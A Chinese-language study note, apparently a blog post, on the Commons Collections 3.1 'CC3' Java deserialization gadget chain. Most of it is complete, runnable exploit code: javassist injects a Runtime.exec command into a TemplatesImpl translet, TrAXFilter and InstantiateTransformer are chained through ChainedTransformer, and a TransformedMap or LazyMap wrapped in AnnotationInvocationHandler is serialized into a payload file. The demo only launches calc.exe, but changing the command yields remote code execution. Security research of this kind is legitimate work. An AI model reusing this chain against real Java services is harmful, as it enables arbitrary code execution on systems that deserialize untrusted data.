java反序列化----CC3利用链学习笔记
java反序列化----CC3利用链学习笔记
环境配置
jdku7
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
书接
java反序列化----CC1利用链学习笔记(TransformedMap和LazyMap)
java反序列化----CC2利用链学习笔记(PriorityQueue和TemplatesImpl)
利用链
本质上是CC2的框架+CC1的后半部分(两条链)
TrAXFilter
继续回到TemplatesImpl类,看到newTransformer方法,如果能找到一个类能成功调用这个方法的话,就能将恶意payload加载到模板上,进而执行恶意payload
find usages,进入TrAXFilter,发现其在构造函数的时候就调用了newTransformer
所以初步payload:
TempChain:
package cc3;
import javassist.ClassPool;
import javassist.CtClass;
public class TempChain {
public static void main(String[] args) throws Exception{
final byte[] byteCode = TempChain.makeByteCode();
}
public static byte[] makeByteCode() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(MyTemplate.class.getName());
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setName("NormalClass");
return ctClass.toBytecode();
}
}
MyTemplate.java
package cc3;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;
public class MyTemplate extends AbstractTranslet implements Serializable {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
EXP:
package cc3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;
public class CC3 {
public static void main(String[] args) throws Exception{
//创建模板
TemplatesImpl templates = (TemplatesImpl) CC3.makeTemp();
//调用newTransformer
TrAXFilter trAXFilter = new TrAXFilter(templates);
}
public static Object makeTemp() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(MyTemplate.class.getName());
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setName("NormalClass");
byte[] byteCode = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field f1 = c.getDeclaredField("_name");
f1.setAccessible(true);
f1.set(templates,"test");//随便赋值
Field f2 = c.getDeclaredField("_bytecodes");
f2.setAccessible(true);
f2.set(templates,new byte[][]{byteCode});
Field f3 = c.getDeclaredField("_tfactory");
f3.setAccessible(true);
f3.set(templates,Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());// new TransformerFactoryImpl()
return templates;
}
}
InstantiateTransformer
其transform方法可以通过反射实现任意类
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
iParamTypes和iArgs可以在构造函数那里看到可以控制
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
所以进一步EXP:
//创建模板
TemplatesImpl templates = (TemplatesImpl) CC3.makeTemp();
//反射调用TrAXFilter trAXFilter = new TrAXFilter(templates); InstantiateTransformer(Class[] paramTypes(参数类型), Object[] args(参数对象实例))
Class[] iParamTypes = new Class[]{Templates.class};
Object[] iArgs = new Object[]{templates};
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(iParamTypes,iArgs);
instantiateTransformer.transform(TrAXFilter.class);
ChainedTransformer
在ChainedTransformer对象的transform方法中,会把iTransformers[i].transform的返回结果当成iTransformers[i+1].transform的参数
此时我们如果将instantiateTransformer.transform(TrAXFilter.class);的返回结果当成InstantiateTransformer instantiateTransformer = new InstantiateTransformer(iParamTypes,iArgs);的参数,
即可相当于自动调用new InstantiateTransformer(iParamTypes,iArgs).transform(TrAXFilter.class),而不是手动将TrAXFilter.class传入instantiateTransformer
object = iTransformers[i].transform(object);
进一步EXP:
//创建模板
TemplatesImpl templates = (TemplatesImpl) CC3.makeTemp();
//将TrAXFilter.class作为参数传入new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("test");//随便赋值
之后chainedTransformer.transform("test");可以用cc1的TransformedMap或者LazyMap链触发
package cc3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception{
//创建模板
TemplatesImpl templates = (TemplatesImpl) CC3.makeTemp();
//将TrAXFilter.class作为参数传入new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*
//方法1:
Map innermap = new HashMap();
innermap.put("value", "key");
Map outerMap = LazyMap.decorate(innermap,chainedTransformer);//取代 TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null, chainedTransformer);//decorateTransform也可以,中间的参数可以为null或chainedTransformer
//反射构造AnnotationInvocationHandler的实例并且序列化为payload
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,outerMap);
//动态代理触发AnnotationInvocationHandler类的invoke方法
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},invocationHandler);
//用AnnotationInvocationHandler对proxyMap进行包裹
Object o = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
*/
//方法2
Map map = new HashMap();
map.put("value", "key");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null, chainedTransformer);//decorateTransform也可以,中间的参数可以为null或chainedTransformer
//反射构造AnnotationInvocationHandler的实例并且序列化为payload
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, transformedMap);
//序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3.txt"));
oos.writeObject(o);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc3.txt"));
System.out.println(ois.readObject());
}
public static Object makeTemp() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(MyTemplate.class.getName());
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setName("NormalClass");
byte[] byteCode = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field f1 = c.getDeclaredField("_name");
f1.setAccessible(true);
f1.set(templates,"test");//随便赋值
Field f2 = c.getDeclaredField("_bytecodes");
f2.setAccessible(true);
f2.set(templates,new byte[][]{byteCode});
Field f3 = c.getDeclaredField("_tfactory");
f3.setAccessible(true);
f3.set(templates,new TransformerFactoryImpl());
return templates;
}
}
参考文章
https://chenlvtang.top/2021/12/17/Java反序列化之CC3/
https://blog.tql.ac/archives/cc3
